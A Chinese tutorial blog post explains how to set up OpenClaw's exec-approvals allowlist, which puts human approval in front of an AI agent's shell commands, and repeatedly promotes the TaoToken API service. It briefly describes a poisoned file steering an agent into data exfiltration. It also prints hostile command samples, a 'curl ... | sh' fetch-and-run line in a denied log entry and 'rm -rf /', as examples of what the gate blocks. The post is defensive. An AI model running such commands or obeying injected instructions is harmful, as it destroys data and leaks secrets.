1. 为什么 AI Agent 的命令执行需要审批门禁OpenClaw exec-approvals 是 OpenClaw 里专门管「Agent 能不能在真实主机上跑命令」的审批机制它解决的核心问题是沙箱里的 Agent 想执行 shell 命令时谁来拍板放行。适合正在把 AI 编码工具、Agent 工作流往生产环境推的开发者尤其是那些已经踩过「Agent 自作主张删文件」坑的人。我先把场景摆出来。你让 Agent 帮忙清理构建缓存它理解成「清理所有缓存」一条rm -rf下去项目目录连带配置全没了。或者更隐蔽的情况Agent 读取了某个被污染的文件内容里面藏着一条指令诱导它执行curl 某地址 | sh把敏感数据往外送。这两种都不是假设是真实会发生的执行风险。传统做法无非两种。要么完全禁用 Agent 的命令执行能力那它基本就成了只会聊天的摆设要么完全信任给它 full 权限等于把主机钥匙直接交出去。前者牺牲能力后者牺牲安全中间没有缓冲带。exec-approvals 的思路是在命令真正落到主机之前插一道「审批门禁」。Agent 发起执行请求系统先按配置检查安全级别、匹配 allowlist必要时弹窗让人来确认。人批准了才执行拒绝或超时就按回退策略处理全程写审计日志。这样既保留了 Agent 的执行能力又把最终决定权收回到人手里。这篇文章会带你从零配出一套可用的 allowlist 骨架跑通一次完整的审批验证再把常见的报错逐个排掉。命令和配置都能直接复制改改路径就能用。2. TaoToken 前置统一 Key 与 API 通道在配 OpenClaw 之前先把模型调用这条链路理顺。OpenClaw 本身是执行框架它背后要调模型来理解任务、生成命令这部分走 TaoToken 的统一通道会省很多事——一个 Key 覆盖多种模型不用为每个模型单独维护一套凭证。TaoToken 官网入口是 https://taotoken.net/?utm_sourcetaotoken_aicg_blog_endutm_mediumcsdnutm_campaignrewriteutm_content API 基址是 https://taotoken.net/api 。你需要先在控制台创建一个 API Key然后把它填进 OpenClaw 的模型配置里。创建 Key 的入口在控制台https://taotoken.net/console?utm_sourcetaotoken_aicg_blog_endutm_contentconsoleutm_campaignrewrite Key 管理页在 https://taotoken.net/api-keys?utm_sourcetaotoken_aicg_blog_endutm_contentapi-keysutm_campaignrewrite 。如果你只是想先验证模型通不通可以直接用模型对话页试https://taotoken.net/chat?utm_sourcetaotoken_aicg_blog_endutm_contentchatutm_campaignrewrite 。配置方式很简单在 OpenClaw 的模型配置里指定 base_url 和 api_key{ model: { provider: openai-compatible, baseUrl: https://taotoken.net/api, apiKey: sk-你的TaoToken密钥, model: claude-sonnet-4-5 } }这里要注意baseUrl 只写到/api不要自己拼/v1之类的后缀具体路径由 OpenClaw 的 provider 适配层处理。填完之后先别急着配审批用一条最简单的对话确认模型通道是通的否则后面审批报错你分不清是模型问题还是配置问题。如果你打算长期跑编码类 Agent 任务可以考虑 Coding Plan额度模型更适合高频调用https://taotoken.net/coding-plan?utm_sourcetaotoken_aicg_blog_endutm_contentcoding-planutm_campaignrewrite 。接入细节和参数说明在文档里https://taotoken.net/doc?utm_sourcetaotoken_aicg_blog_endutm_contentdocutm_campaignrewrite 。3. 可复制的 allowlist 配置骨架exec-approvals 的配置文件默认在~/.openclaw/exec-approvals.json。下面这份骨架是我实测能跑通的最小可用版本你可以直接复制把 allowlist 里的 pattern 换成自己需要的。{ version: 1, socket: { path: ~/.openclaw/exec-approvals.sock, token: 换成你自己的base64url令牌 }, defaults: { security: allowlist, ask: on-miss, askFallback: deny, autoAllowSkills: false }, agents: { main: { security: allowlist, ask: on-miss, askFallback: deny, autoAllowSkills: false, allowlist: [ { id: safe-read, pattern: ls * }, { id: safe-read, pattern: cat * }, { id: safe-git, pattern: git status }, { id: safe-git, pattern: git log * } ] } } }先把几个核心字段讲清楚这决定了审批行为。security有三个值。deny是全部拒绝适合高安全环境allowlist是只放行白名单里的命令这是最常用的full是全部放行只建议在隔离的测试环境用。ask控制弹窗时机。off从不弹窗直接按规则处理on-miss是 allowlist 没匹配上时才弹窗always是每次执行都弹窗适合生产环境做二次确认。askFallback是弹窗不可用时的兜底策略。deny直接拒绝allowlist按白名单匹配结果决定full放行。生产环境建议锁死deny。autoAllowSkills控制 Skill 调用命令是否自动放行。个人开发可以设true省事团队协作和线上环境一定设false。配置优先级要记住一条agents.*会覆盖defaults里的同名字段。也就是说你可以给defaults设一个宽松基线再给特定 Agent 收紧。比如{ defaults: { security: deny, ask: always }, agents: { main: { security: allowlist } } }这里main的security被覆盖成allowlist但ask没配就继承defaults的always。allowlist 的 pattern 匹配规则是新手最容易踩坑的地方。它匹配的是「命令名 第一个参数」通配符*只匹配空格分隔的单个参数不匹配管道符、、;这些连接符。看下面这张对照表pattern匹配示例不匹配示例ls *ls -la、ls /tmpls | grep、ls rmgit *git status、git loggit push origin main只匹配命令名第一个参数npm run *npm run buildnpm install、npm irm *rm -rf /tmprm -rf /需要更精确的 pattern所以千万别写*这种全通配等于把 allowlist 废掉了。对高危命令要用更精确的 pattern比如只放行rm -rf /tmp/*这种限定路径的写法。4. 验证请求与成功结果配置写完先确认它被正确加载。用 CLI 查看当前审批配置openclaw approvals get正常输出会显示配置文件路径、是否存在、版本号、socket 路径、Agent 数量和 allowlist 条数。如果Exists显示no说明文件没被读到检查路径和权限。接着添加一条白名单规则验证写入链路openclaw approvals allowlist add npm run *输出会打印当前 allowlist 表格你能看到新规则已经进去。再移除一条试试openclaw approvals allowlist remove ls *现在做端到端验证。让 Agent 发起一条在 allowlist 里的命令比如git status。预期结果是直接执行不弹窗因为askon-miss且 pattern 匹配上了。再让它发起一条不在 allowlist 里的命令比如curl 某地址。预期结果是触发审批弹窗如果 UI 可用或者按askFallbackdeny直接拒绝。这一步是验证审批门禁真正生效的关键。最后检查审计日志确认每次执行都有记录tail -f ~/.openclaw/logs/commands.log日志里每条记录包含时间戳、命令、审批结果、审批人、Agent 名称、匹配规则等字段。一条被批准的命令长这样{ timestamp: 2026-03-29T10:00:00.000Z, command: git status, action: approved, approver: human, agent: main, rule: allowlist, pattern: git status, user: yourname, cwd: /Users/yourname/project }一条被拒绝的命令{ timestamp: 2026-03-29T10:05:00.000Z, command: curl http://example.com/script.sh | sh, action: denied, approver: system, agent: main, rule: deny, pattern: null, user: yourname, cwd: /Users/yourname }看到这两类记录都出现说明审批机制端到端跑通了。5. 本篇常见错排查配置跑不通的时候按下面这张表逐项排查基本能覆盖九成问题。现象可能原因排查命令命令审批不生效security 配置错误openclaw approvals get看 security 级别Socket 连接失败文件权限不足ls -la ~/.openclaw/exec-approvals.sockToken 认证失败token 不匹配检查配置里的 token 与 socket.token 是否一致allowlist 不匹配pattern 语法错误参考第 3 节的匹配规则表审批弹窗不显示UI 不可用检查 askFallback 配置命令被拒绝未在 allowlist 中添加规则或调整 security 级别排查步骤按顺序来# 1. 确认配置已加载 openclaw approvals get # 2. 检查配置文件权限 ls -la ~/.openclaw/exec-approvals.json # 3. 查看审批日志 tail -f ~/.openclaw/logs/commands.log # 4. 检查 socket 状态 ls -la ~/.openclaw/exec-approvals.sock有一个坑我踩过配置文件权限太松被系统判定为不安全而拒绝加载。修复方式是收紧权限chmod 600 ~/.openclaw/exec-approvals.json chmod 600 ~/.openclaw/exec-approvals.sock另一个高频问题是 pattern 写得太宽。有人图省事写rm *结果 Agent 执行rm -rf /时因为 pattern 匹配的是「命令名第一个参数」-rf被当成第一个参数匹配上了直接放行。正确做法是对删除类命令限定路径比如rm -rf /tmp/*并且配合askalways做二次确认。还有 socket token 明文存在配置文件里的问题。这个 token 是本地进程间通信的认证凭证文件权限必须锁死 600否则同主机其他用户可能伪造请求。生产环境建议定期轮换 token。6. 语义一致 CTA 与后续接入审批机制配好之后模型调用这条链路建议统一走 TaoToken一个 Key 管住所有模型的接入省去多套凭证维护的麻烦。API Key 在 https://taotoken.net/api-keys?utm_sourcetaotoken_aicg_blog_endutm_contentapi-keysutm_campaignrewrite 创建接入参数和 provider 适配说明看文档 https://taotoken.net/doc?utm_sourcetaotoken_aicg_blog_endutm_contentdocutm_campaignrewrite 。如果你在配 OpenClaw 的模型通道时遇到报错或者想确认某个模型能不能正常返回可以直接用模型对话页做最小验证https://taotoken.net/chat?utm_sourcetaotoken_aicg_blog_endutm_contentchatutm_campaignrewrite 。长期跑编码类 Agent 任务的话Coding Plan 的额度模型更适合高频调用场景https://taotoken.net/coding-plan?utm_sourcetaotoken_aicg_blog_endutm_contentcoding-planutm_campaignrewrite 。最后留一个实操建议先把security设成deny跑一遍确认所有命令都被拦住再逐步放开 allowlist。这样你能清楚知道每一条放行规则到底放行了什么而不是一上来就full然后靠感觉收紧。审批日志记得定期翻尤其是denied记录那些被拦下来的命令往往能暴露 Agent 的行为边界问题。
